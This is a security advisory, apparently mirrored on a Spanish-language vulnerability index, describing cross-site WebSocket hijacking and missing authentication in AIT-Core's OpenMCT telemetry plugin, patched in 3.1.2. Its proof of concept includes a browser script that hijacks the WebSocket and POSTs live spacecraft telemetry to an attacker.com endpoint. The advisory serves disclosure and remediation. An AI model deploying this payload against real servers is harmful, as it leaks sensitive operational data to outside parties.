GHSA-7H55-XP8Q-247V
Cross-Site WebSocket Hijacking and Missing Authentication Exposes Live Spacecraft Telemetry
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-7H55-XP8Q-247V divulgada · CVSS 6.5 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Remediación | Parche 3.1.2 | ait-core · 6 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The OpenMCT plugin in AIT-Core binds to 0.0.0.0 with hardcoded wildcard CORS and skips WebSocket origin validation.
Details
File: `ait/core/server/plugins/openmct.py`
- Hardcoded `0.0.0.0` bind.
- `get_realtime_tlm()` upgrades the WebSocket without inspecting the Origin header.
PoC
ait-core 3.1.1 was installed and started the plugin on port 8082.
Step 1: CSWSH telemetry exfiltration.
I hosted a webpage with this script and opened it in my browser:
<script>
const ws = new WebSocket('ws://127.0.0.1:8082/tlm/realtime');
ws.onopen = () => ws.send(JSON.stringify({packet: 'AIT_TELEMETRY'}));
ws.onmessage = (e) => fetch('https://attacker.com/exfil', {method: 'POST', body: e.data});
</script>Result: Server accepted the foreign origin. HTTP 101 Switching Protocols returned. Live telemetry streamed to my endpoint.
Impact
A malicious site visited by a ground station operator hijacks the WebSocket. This bypasses network perimeter defenses because the request originates inside the trusted boundary.
Fix Details
AIT-Core v3.1.2 now:
- Binds to localhost by default
- Prevents cross-site WebSocket attacks with Origin validation
Security Note
When overriding `bind_address` to bind to a non-localhost address (e.g., `0.0.0.0` or a specific network = interface), all telemetry routes remain unauthenticated. The localhost binding is the primary security control.
Please the Server Security Documentation https://ait-core.readthedocs.io/en/latest/server_architecture.html#notes-on-security for guidance.
Patch
3.1.2
Credit
Pavan Nallamothu https://www.linkedin.com/in/pavanchow/
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypiait-core |
Corregida | 3.1.2 | 6 d | 3.1.2 no afectada |
3.1.2Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/NASA-AMMOS/AIT-Core/security/advisories/GHSA-7h55-xp8q-247vLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
